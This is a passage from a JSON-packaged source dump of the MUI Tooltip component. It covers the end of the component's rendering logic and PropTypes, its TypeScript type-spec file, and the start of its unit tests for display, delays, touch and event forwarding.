{\n      popperRef.current.update();\n    }\n  };\n\n  const nameOrDescProps = {};\n  const titleIsString = typeof title === 'string';\n  if (describeChild) {\n    nameOrDescProps.title = !open && titleIsString && !disableHoverListener ? title : null;\n    nameOrDescProps['aria-describedby'] = open ? id : null;\n  } else {\n    nameOrDescProps['aria-label'] = titleIsString ? title : null;\n    nameOrDescProps['aria-labelledby'] = open && !titleIsString ? id : null;\n  }\n\n  const childrenProps = {\n    ...nameOrDescProps,\n    ...other,\n    ...children.props,\n    className: clsx(other.className, children.props.className),\n    onTouchStart: detectTouchStart,\n    ref: handleRef,\n    ...(followCursor ? { onMouseMove: handleMouseMove } : {}),\n  };\n\n  if (process.env.NODE_ENV !== 'production') {\n    childrenProps['data-mui-internal-clone-element'] = true;\n\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- process.env never changes\n    React.useEffect(() => {\n      if (childNode && !childNode.getAttribute('data-mui-internal-clone-element')) {\n        console.error(\n          [\n            'MUI: The `children` component of the Tooltip is not forwarding its props correctly.',\n            'Please make sure that props are spread on the same element that the ref is applied to.',\n          ].join('\\n'),\n        );\n      }\n    }, [childNode]);\n  }\n\n  const interactiveWrapperListeners = {};\n\n  if (!disableTouchListener) {\n    childrenProps.onTouchStart = handleTouchStart;\n    childrenProps.onTouchEnd = handleTouchEnd;\n  }\n\n  if (!disableHoverListener) {\n    childrenProps.onMouseOver = composeEventHandler(handleMouseOver, childrenProps.onMouseOver);\n    childrenProps.onMouseLeave = composeEventHandler(handleMouseLeave, childrenProps.onMouseLeave);\n\n    if (!disableInteractive) {\n      interactiveWrapperListeners.onMouseOver = handleMouseOver;\n      interactiveWrapperListeners.onMouseLeave = handleMouseLeave;\n    }\n  }\n\n  if (!disableFocusListener) {\n    childrenProps.onFocus = composeEventHandler(handleFocus, childrenProps.onFocus);\n    childrenProps.onBlur = composeEventHandler(handleBlur, childrenProps.onBlur);\n\n    if (!disableInteractive) {\n      interactiveWrapperListeners.onFocus = handleFocus;\n      interactiveWrapperListeners.onBlur = handleBlur;\n    }\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (children.props.title) {\n      console.error(\n        [\n          'MUI: You have provided a `title` prop to the child of <Tooltip />.',\n          `Remove this title prop \\`${children.props.title}\\` or the Tooltip component.`,\n        ].join('\\n'),\n      );\n    }\n  }\n\n  const ownerState = {\n    ...props,\n    isRtl,\n    arrow,\n    disableInteractive,\n    placement,\n    touch: ignoreNonTouchEvents.current,\n  };\n\n  const resolvedPopperProps =\n    typeof slotProps.popper === 'function' ? slotProps.popper(ownerState) : slotProps.popper;\n  const popperOptions = React.useMemo(() => {\n    let tooltipModifiers = [\n      {\n        name: 'arrow',\n        enabled: Boolean(arrowRef),\n        options: {\n          element: arrowRef,\n          padding: 4,\n        },\n      },\n    ];\n\n    if (resolvedPopperProps?.popperOptions?.modifiers) {\n      tooltipModifiers = tooltipModifiers.concat(resolvedPopperProps.popperOptions.modifiers);\n    }\n\n    return {\n      ...resolvedPopperProps?.popperOptions,\n      modifiers: tooltipModifiers,\n    };\n  }, [arrowRef, resolvedPopperProps?.popperOptions]);\n\n  const classes = useUtilityClasses(ownerState);\n  const externalForwardedProps = {\n    slots,\n    slotProps: {\n      arrow: slotProps.arrow,\n      popper: resolvedPopperProps,\n      tooltip: slotProps.tooltip,\n      transition: slotProps.transition,\n    },\n  };\n\n  const [PopperSlot, popperSlotProps] = useSlot('popper', {\n    elementType: TooltipPopper,\n    externalForwardedProps,\n    ownerState,\n    className: classes.popper,\n  });\n\n  const [TransitionSlot, transitionSlotProps] = useSlot('transition', {\n    elementType: Grow,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [TooltipSlot, tooltipSlotProps] = useSlot('tooltip', {\n    elementType: TooltipTooltip,\n    className: classes.tooltip,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ArrowSlot, arrowSlotProps] = useSlot('arrow', {\n    elementType: TooltipArrow,\n    className: classes.arrow,\n    externalForwardedProps,\n    ownerState,\n    ref: setArrowRef,\n  });\n\n  return (\n    <React.Fragment>\n      {React.cloneElement(children, childrenProps)}\n      <PopperSlot\n        as={Popper}\n        placement={placement}\n        anchorEl={\n          followCursor\n            ? {\n                getBoundingClientRect: () => ({\n                  top: cursorPosition.y,\n                  left: cursorPosition.x,\n                  right: cursorPosition.x,\n                  bottom: cursorPosition.y,\n                  width: 0,\n                  height: 0,\n                }),\n              }\n            : childNode\n        }\n        popperRef={popperRef}\n        open={childNode ? open : false}\n        id={id}\n        transition\n        {...interactiveWrapperListeners}\n        {...popperSlotProps}\n        popperOptions={popperOptions}\n      >\n        {({ TransitionProps: TransitionPropsInner }) => (\n          <TransitionSlot\n            timeout={theme.transitions.duration.shorter}\n            {...TransitionPropsInner}\n            {...transitionSlotProps}\n          >\n            <TooltipSlot {...tooltipSlotProps}>\n              {title}\n              {arrow ? <ArrowSlot {...arrowSlotProps} /> : null}\n            </TooltipSlot>\n          </TransitionSlot>\n        )}\n      </PopperSlot>\n    </React.Fragment>\n  );\n});\n\nTooltip.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, adds an arrow to the tooltip.\n   * @default false\n   */\n  arrow: PropTypes.bool,\n  /**\n   * Tooltip reference element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Set to `true` if the `title` acts as an accessible description.\n   * By default the `title` acts as an accessible label for the child.\n   * @default false\n   */\n  describeChild: PropTypes.bool,\n  /**\n   * Do not respond to focus-visible events.\n   * @default false\n   */\n  disableFocusListener: PropTypes.bool,\n  /**\n   * Do not respond to hover events.\n   * @default false\n   */\n  disableHoverListener: PropTypes.bool,\n  /**\n   * Makes a tooltip not interactive, i.e. it will close when the user\n   * hovers over the tooltip before the `leaveDelay` is expired.\n   * @default false\n   */\n  disableInteractive: PropTypes.bool,\n  /**\n   * Do not respond to long press touch events.\n   * @default false\n   */\n  disableTouchListener: PropTypes.bool,\n  /**\n   * The number of milliseconds to wait before showing the tooltip.\n   * This prop won't impact the enter touch delay (`enterTouchDelay`).\n   * @default 100\n   */\n  enterDelay: PropTypes.number,\n  /**\n   * The number of milliseconds to wait before showing the tooltip when one was already recently opened.\n   * @default 0\n   */\n  enterNextDelay: PropTypes.number,\n  /**\n   * The number of milliseconds a user must touch the element before showing the tooltip.\n   * @default 700\n   */\n  enterTouchDelay: PropTypes.number,\n  /**\n   * If `true`, the tooltip follow the cursor over the wrapped element.\n   * @default false\n   */\n  followCursor: PropTypes.bool,\n  /**\n   * This prop is used to help implement the accessibility logic.\n   * If you don't provide this prop. It falls back to a randomly generated id.\n   */\n  id: PropTypes.string,\n  /**\n   * The number of milliseconds to wait before hiding the tooltip.\n   * This prop won't impact the leave touch delay (`leaveTouchDelay`).\n   * @default 0\n   */\n  leaveDelay: PropTypes.number,\n  /**\n   * The number of milliseconds after the user stops touching an element before hiding the tooltip.\n   * @default 1500\n   */\n  leaveTouchDelay: PropTypes.number,\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onClose: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be open.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   */\n  onOpen: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * Tooltip placement.\n   * @default 'bottom'\n   */\n  placement: PropTypes.oneOf([\n    'auto-end',\n    'auto-start',\n    'auto',\n    'bottom-end',\n    'bottom-start',\n    'bottom',\n    'left-end',\n    'left-start',\n    'left',\n    'right-end',\n    'right-start',\n    'right',\n    'top-end',\n    'top-start',\n    'top',\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    arrow: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    popper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    tooltip: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    arrow: PropTypes.elementType,\n    popper: PropTypes.elementType,\n    tooltip: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Tooltip title. Zero-length titles string, undefined, null and false are never displayed.\n   */\n  title: PropTypes.node,\n};\n\nexport default Tooltip;\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/Tooltip.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { mergeSlotProps } from '@mui/material/utils';\nimport Tooltip, { TooltipProps } from '@mui/material/Tooltip';\n\n// slotProps.transition should reject unknown props\n<Tooltip\n  title=\"Hello\"\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n>\n  <button type=\"button\">Hover or touch me</button>\n</Tooltip>;\n\n<Tooltip title=\"Hello\">\n  <button type=\"button\">Hover or touch me</button>\n</Tooltip>;\n\nconst SlotComponentRef = React.forwardRef<HTMLDivElement>((props, ref) => {\n  return <div />;\n});\n\n<Tooltip\n  title=\"Hello\"\n  slots={{\n    popper: 'div',\n    arrow: 'span',\n    tooltip: 'div',\n    transition: 'div',\n  }}\n  slotProps={{\n    popper: {\n      modifiers: [\n        {\n          name: 'offset',\n          options: {\n            offset: [0, 8],\n          },\n        },\n      ],\n    },\n    arrow: {\n      'aria-hidden': true,\n    },\n    tooltip: {},\n    transition: {\n      timeout: 500,\n    },\n  }}\n>\n  <button type=\"button\">Hover or touch me</button>\n</Tooltip>;\n\n<Tooltip\n  title=\"foo\"\n  slots={{\n    popper: SlotComponentRef,\n    arrow: SlotComponentRef,\n    tooltip: SlotComponentRef,\n    transition: SlotComponentRef,\n  }}\n>\n  <button type=\"button\">Hover or touch me</button>\n</Tooltip>;\n\nfunction Custom(props: TooltipProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Tooltip\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    />\n  );\n}\n\nfunction Custom2(props: TooltipProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Tooltip\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/Tooltip.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  simulatePointerDevice,\n  programmaticFocusTriggersFocusVisible,\n  reactMajor,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport { camelCase } from 'es-toolkit/string';\nimport Tooltip, { tooltipClasses as classes } from '@mui/material/Tooltip';\nimport { testReset } from './Tooltip';\nimport describeConformance from '../../test/describeConformance';\n\nasync function focusVisible(element) {\n  await act(async () => {\n    element.blur();\n  });\n  fireEvent.keyDown(document.body, { key: 'Tab' });\n  await act(async () => {\n    element.focus();\n  });\n}\n\nfunction focusVisibleSync(element) {\n  act(() => {\n    element.blur();\n  });\n  fireEvent.keyDown(document.body, { key: 'Tab' });\n  act(() => {\n    element.focus();\n  });\n}\n\ndescribe('<Tooltip />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  beforeEach(() => {\n    testReset();\n  });\n\n  function TestPopper(props) {\n    const { children, className, 'data-testid': testId } = props;\n    return (\n      <div className={className} data-testid={testId ?? 'custom'}>\n        {typeof children === 'function' ? children({}) : children}\n      </div>\n    );\n  }\n\n  const TestTooltipSlot = React.forwardRef(function TestTooltipSlot({ ownerState, ...props }, ref) {\n    return <div data-testid=\"custom\" ref={ref} {...props} />;\n  });\n\n  describeConformance(\n    <Tooltip title=\"Hello World\" arrow open>\n      <button type=\"submit\">Hello World</button>\n    </Tooltip>,\n    () => ({\n      classes,\n      inheritComponent: 'button',\n      render,\n      muiName: 'MuiTooltip',\n      refInstanceof: window.HTMLButtonElement,\n      testRootOverrides: { slotName: 'popper', slotClassName: classes.popper },\n      testDeepOverrides: { slotName: 'tooltip', slotClassName: classes.tooltip },\n      slots: {\n        popper: {\n          expectedClassName: classes.popper,\n          testWithComponent: TestPopper,\n          testWithElement: null,\n        },\n        transition: { testWithElement: null },\n        tooltip: {\n          expectedClassName: classes.tooltip,\n          testWithComponent: TestTooltipSlot,\n          testWithElement: TestTooltipSlot,\n        },\n        arrow: { expectedClassName: classes.arrow },\n      },\n      skip: ['componentProp', 'themeVariants'],\n    }),\n  );\n\n  it('should render a popper', () => {\n    render(\n      <Tooltip title=\"Hello World\" open>\n        <button type=\"submit\">Hello World</button>\n      </Tooltip>,\n    );\n\n    expect(screen.getByRole('tooltip')).to.have.class(classes.popper);\n  });\n\n  describe('prop: disableHoverListener', () => {\n    it('should hide the native title', () => {\n      render(\n        <Tooltip title=\"Hello World\" disableHoverListener>\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n      expect(screen.getByRole('button')).not.to.have.attribute('title', 'Hello World');\n    });\n  });\n\n  describe('prop: title', () => {\n    it('should display if the title is present', () => {\n      render(\n        <Tooltip title=\"Hello World\" open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByRole('tooltip')).toBeVisible();\n    });\n\n    it('should display if the title is 0', () => {\n      render(\n        <Tooltip title={0} open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByRole('tooltip')).toBeVisible();\n    });\n\n    it('should not display if the title is an empty string', () => {\n      render(\n        <Tooltip title=\"\" open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should not display if the title is a false', () => {\n      render(\n        <Tooltip title={false} open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should not display if the title is a null', () => {\n      render(\n        <Tooltip title={null} open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should not display if the title is an undefined', () => {\n      render(\n        <Tooltip title={undefined} open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should label the child when closed', () => {\n      render(\n        <Tooltip title=\"the title\">\n          <button data-testid=\"target\">The content</button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the title');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('cannot label the child when closed with an exotic title', () => {\n      render(\n        <Tooltip title={<div>the title</div>}>\n          <button data-testid=\"target\">the content</button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the content');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('should label the child when open', () => {\n      render(\n        <Tooltip open title=\"the title\">\n          <button data-testid=\"target\">The content</button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the title');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('should label the child when open with an exotic title', () => {\n      render(\n        <Tooltip open title={<div>the title</div>}>\n          <button data-testid=\"target\">The content</button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the title');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('can describe the child when closed', () => {\n      render(\n        <Tooltip describeChild title=\"the title\">\n          <button aria-label=\"the label\" data-testid=\"target\">\n            The content\n          </button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the label');\n      expect(target).toHaveAccessibleDescription('the title');\n      expect(target).to.have.attribute('title', 'the title');\n    });\n\n    it('cannot describe the child when closed with an exotic title', () => {\n      render(\n        <Tooltip describeChild title={<div>the title</div>}>\n          <button aria-label=\"the label\" data-testid=\"target\">\n            The content\n          </button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the label');\n      expect(target).toHaveAccessibleDescription('');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('can describe the child when open', () => {\n      render(\n        <Tooltip describeChild open title=\"the title\">\n          <button aria-label=\"the label\" data-testid=\"target\">\n            The content\n          </button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the label');\n      expect(target).toHaveAccessibleDescription('the title');\n      expect(target).not.to.have.attribute('title');\n    });\n\n    it('can describe the child when open with an exotic title', () => {\n      render(\n        <Tooltip describeChild open title={<div>the title</div>}>\n          <button aria-label=\"the label\" data-testid=\"target\">\n            The content\n          </button>\n        </Tooltip>,\n      );\n\n      const target = screen.getByTestId('target');\n      expect(target).toHaveAccessibleName('the label');\n      expect(target).toHaveAccessibleDescription('the title');\n      expect(target).not.to.have.attribute('title');\n    });\n  });\n\n  describe('prop: placement', () => {\n    it('should have top placement', () => {\n      const renderSpy = spy();\n      function PopperSpy({ placement }) {\n        renderSpy(placement);\n        return null;\n      }\n\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          placement=\"top\"\n          slots={{\n            popper: PopperSpy,\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(renderSpy.args[0][0]).to.equal('top');\n    });\n  });\n\n  it('should respond to external events', () => {\n    const transitionTimeout = 10;\n    const enterDelay = 100;\n    render(\n      <Tooltip\n        enterDelay={enterDelay}\n        title=\"Hello World\"\n        slotProps={{\n          transition: { timeout: transitionTimeout },\n        }}\n      >\n        <button id=\"testChild\" type=\"submit\">\n          Hello World\n        </button>\n      </Tooltip>,\n    );\n    expect(screen.queryByRole('tooltip')).to.equal(null);\n\n    fireEvent.mouseOver(screen.getByRole('button'));\n    clock.tick(enterDelay);\n\n    expect(screen.getByRole('tooltip')).toBeVisible();\n\n    fireEvent.mouseLeave(screen.getByRole('button'));\n    // Tooltip schedules timeout even with no delay\n    clock.tick(0);\n    clock.tick(transitionTimeout);\n\n    expect(screen.queryByRole('tooltip')).to.equal(null);\n  });\n\n  it('should be controllable', () => {\n    const eventLog = [];\n\n    const { setProps } = render(\n      <Tooltip\n        enterDelay={100}\n        title=\"Hello World\"\n        onOpen={() => eventLog.push('open')}\n        onClose={() => eventLog.push('close')}\n        open={false}\n      >\n        <button\n          id=\"testChild\"\n          onMouseLeave={() => eventLog.push('mouseleave')}\n          onMouseOver={() => eventLog.push('mouseover')}\n          type=\"submit\"\n        >\n          Hello World\n        </button>\n      </Tooltip>,\n    );\n\n    expect(eventLog).to.deep.equal([]);\n\n    fireEvent.mouseOver(screen.getByRole('button'));\n    clock.tick(100);\n\n    expect(eventLog).to.deep.equal(['mouseover', 'open']);\n    setProps({ open: true });\n\n    fireEvent.mouseLeave(screen.getByRole('button'));\n    clock.tick(0);\n\n    expect(eventLog).to.deep.equal(['mouseover', 'open', 'mouseleave', 'close']);\n  });\n\n  it('should not call onOpen again if already open', () => {\n    const eventLog = [];\n    render(\n      <Tooltip enterDelay={100} title=\"Hello World\" onOpen={() => eventLog.push('open')} open>\n        <button data-testid=\"trigger\" onMouseOver={() => eventLog.push('mouseover')} />\n      </Tooltip>,\n    );\n\n    expect(eventLog).to.deep.equal([]);\n\n    fireEvent.mouseOver(screen.getByTestId('trigger'));\n    clock.tick(100);\n\n    expect(eventLog).to.deep.equal(['mouseover']);\n  });\n\n  it('should not call onClose if already closed', () => {\n    const eventLog = [];\n    render(\n      <Tooltip title=\"Hello World\" onClose={() => eventLog.push('close')} open={false}>\n        <button data-testid=\"trigger\" onMouseLeave={() => eventLog.push('mouseleave')} />\n      </Tooltip>,\n    );\n\n    fireEvent.mouseLeave(screen.getByTestId('trigger'));\n    clock.tick(0);\n\n    expect(eventLog).to.deep.equal(['mouseleave']);\n  });\n\n  it('is dismissible by pressing Escape', () => {\n    const handleClose = spy();\n    const transitionTimeout = 0;\n    render(\n      <Tooltip\n        enterDelay={0}\n        onClose={handleClose}\n        open\n        title=\"Movie quote\"\n        slotProps={{\n          transition: { timeout: transitionTimeout },\n        }}\n      >\n        <button />\n      </Tooltip>,\n    );\n\n    fireEvent.keyDown(\n      // We don't care about the target. Any Escape should dismiss the tooltip\n      // eslint-disable-next-line mui/disallow-active-element-as-key-event-target\n      document.activeElement,\n      { key: 'Escape' },\n    );\n    clock.tick(transitionTimeout);\n\n    expect(handleClose.callCount).to.equal(1);\n  });\n\n  describe('touch screen', () => {\n    it('should not respond to quick events', () => {\n      render(\n        <Tooltip title=\"Hello World\">\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      fireEvent.touchStart(screen.getByRole('button'));\n      fireEvent.touchEnd(screen.getByRole('button'));\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should open on long press', async () => {\n      const enterTouchDelay = 700;\n      const enterDelay = 100;\n      const leaveTouchDelay = 1500;\n      const transitionTimeout = 10;\n      render(\n        <Tooltip\n          enterTouchDelay={enterTouchDelay}\n          enterDelay={enterDelay}\n          leaveTouchDelay={leaveTouchDelay}\n          title=\"Hello World\"\n          slotProps={{\n            transition: { timeout: transitionTimeout },\n          }}\n        >\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n      fireEvent.touchStart(screen.getByRole('button'));\n      clock.tick(enterTouchDelay + enterDelay);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      fireEvent.touchEnd(screen.getByRole('button'));\n      await act(async () => {\n        screen.getByRole('button').blur();\n      });\n      clock.tick(leaveTouchDelay);\n      clock.tick(transitionTimeout);\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n\n    it('should not open if disableTouchListener', () => {\n      render(\n        <Tooltip title=\"Hello World\" disableTouchListener>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      fireEvent.touchStart(screen.getByRole('button'));\n      fireEvent.mouseOver(screen.getByRole('button'));\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n  });\n\n  describe('mount', () => {\n    it('should mount without any issue', () => {\n      render(\n        <Tooltip title=\"Hello World\" open>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())('should handle autoFocus + onFocus forwarding', async function test() {\n      const handleFocus = spy();\n      function AutoFocus(props) {\n        return (\n          <div>\n            {props.open ? (\n              <Tooltip enterDelay={100} title=\"Title\">\n                <input autoFocus onFocus={handleFocus} />\n              </Tooltip>\n            ) : null}\n          </div>\n        );\n      }\n\n      const { setProps } = render(\n        <AutoFocus />,\n        // TODO: https://github.com/reactwg/react-18/discussions/18#discussioncomment-893076\n        { strictEffects: false },\n      );\n\n      setProps({ open: true });\n      clock.tick(100);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n      expect(handleFocus.callCount).to.equal(1);\n    });\n  });\n\n  describe.skipIf(isJsdom())('prop: delay', () => {\n    it('should take the enterDelay into account', async () => {\n      render(\n        <Tooltip title=\"Hello World\" enterDelay={111}>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      simulatePointerDevice();\n\n      await focusVisible(screen.getByRole('button'));\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      clock.tick(111);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n    });\n\n    it('should use hysteresis with the enterDelay', () => {\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          enterDelay={111}\n          enterNextDelay={30}\n          leaveDelay={5}\n          slotProps={{\n            transition: { timeout: 6 },\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      const children = screen.getByRole('button');\n\n      focusVisibleSync(children);\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      clock.tick(111);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      act(() => {\n        document.activeElement.blur();\n      });\n\n      clock.tick(5);\n\n      clock.tick(6);\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      focusVisibleSync(children);\n\n      // Bypass `enterDelay` wait, use `enterNextDelay`.\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      clock.tick(30);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n    });\n\n    it('should take the leaveDelay into account', async () => {\n      const leaveDelay = 111;\n      const enterDelay = 0;\n      const transitionTimeout = 10;\n      render(\n        <Tooltip\n          leaveDelay={leaveDelay}\n          enterDelay={enterDelay}\n          title=\"tooltip\"\n          slotProps={{\n            transition: { timeout: transitionTimeout },\n          }}\n        >\n          <button\n            id=\"testChild\"\n            type=\"submit\"\n            // Moving the button away from 0,0 to avoid interference with initial mouse position\n            style={{ margin: 1 }}\n          >\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      simulatePointerDevice();\n\n      await focusVisible(screen.getByRole('button'));\n      await clock.tickAsync(enterDelay);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      await act(async () => {\n        screen.getByRole('button').blur();\n      });\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      await clock.tickAsync(leaveDelay);\n      await clock.tickAsync(transitionTimeout - 1);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      await clock.tickAsync(2);\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n    });\n  });\n\n  describe('prop: overrides', () => {\n    [\n      'onTouchStart',\n      'onTouchEnd',\n      'onMouseEnter',\n      'onMouseMove',\n      'onMouseOver',\n      'onMouseLeave',\n    ].forEach((name) => {\n      it(`should be transparent for the ${name} event`, () => {\n        const handler = spy();\n        render(\n          <Tooltip followCursor title=\"Hello World\">\n            <button id=\"testChild\" type=\"submit\" {...{ [name]: handler }}>\n              Hello World\n            </button>\n          </Tooltip>,\n        );\n        const type = camelCase(name.slice(2));\n        fireEvent[type](screen.getByRole('button'));\n        expect(handler.callCount).to.equal(1, `${name} should've been called`);\n      });\n    });\n\n    // JSDOM doesn't support :focus-visible\n    it.skipIf(isJsdom())(\n      `should be transparent for the focus and blur event`,\n      async function test() {\n        const handleBlur = spy();\n        const handleFocus = spy();\n        render(\n          <Tooltip title=\"Hello World\">\n            <button id=\"testChild\" type=\"submit\" onFocus={handleFocus} onBlur={handleBlur}>\n              Hello World\n            </button>\n          </Tooltip>,\n        );\n        const button = screen.getByRole('button');\n\n        await act(async () => {\n          button.focus();\n        });\n\n        expect(handleBlur.callCount).to.equal(0);\n        expect(handleFocus.callCount).to.equal(1);\n\n        await act(async () => {\n          button.blur();\n        });\n\n        expect(handleBlur.callCount).to.equal(1);\n        expect(handleFocus.callCount).to.equal(1);\n      },\n    );\n\n    it('should ignore event from the tooltip', () => {\n      const handleMouseOver = spy();\n      render(\n        <Tooltip title=\"Hello World\" open>\n          <button type=\"submit\" onMouseOver={handleMouseOver}>\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      fireEvent.mouseOver(screen.getByRole('tooltip'));\n\n      expect(handleMouseOver.callCount).to.equal(0);\n    });\n  });\n\n  describe('disabled button warning', () => {\n    it('should not raise a warning if title is empty', () => {\n      expect(() => {\n        render(\n          <Tooltip title=\"\">\n            <button type=\"submit\" disabled>\n              Hello World\n            </button>\n          </Tooltip>,\n        );\n      }).not.toErrorDev();\n    });\n\n    it('should raise a warning when we are uncontrolled and can not listen to events', () => {\n      expect(() => {\n        render(\n          <Tooltip title=\"Hello World\">\n            <button type=\"submit\" disabled>\n              Hello World\n            </button>\n          </Tooltip>,\n        );\n      }).toWarnDev('MUI: You are providing a disabled `button` child to the Tooltip component');\n    });\n\n    it('should not raise a warning when we are controlled', () => {\n      expect(() => {\n        render(\n          <Tooltip title=\"Hello World\" open>\n            <button type=\"submit\" disabled>\n              Hello World\n            </button>\n          </Tooltip>,\n        );\n      }).not.toErrorDev();\n    });\n  });\n\n  describe('prop: disableInteractive', () => {\n    it('when false should keep the overlay open if the popper element is hovered', () => {\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          enterDelay={100}\n          leaveDelay={111}\n          slotProps={{\n            transition: { timeout: 10 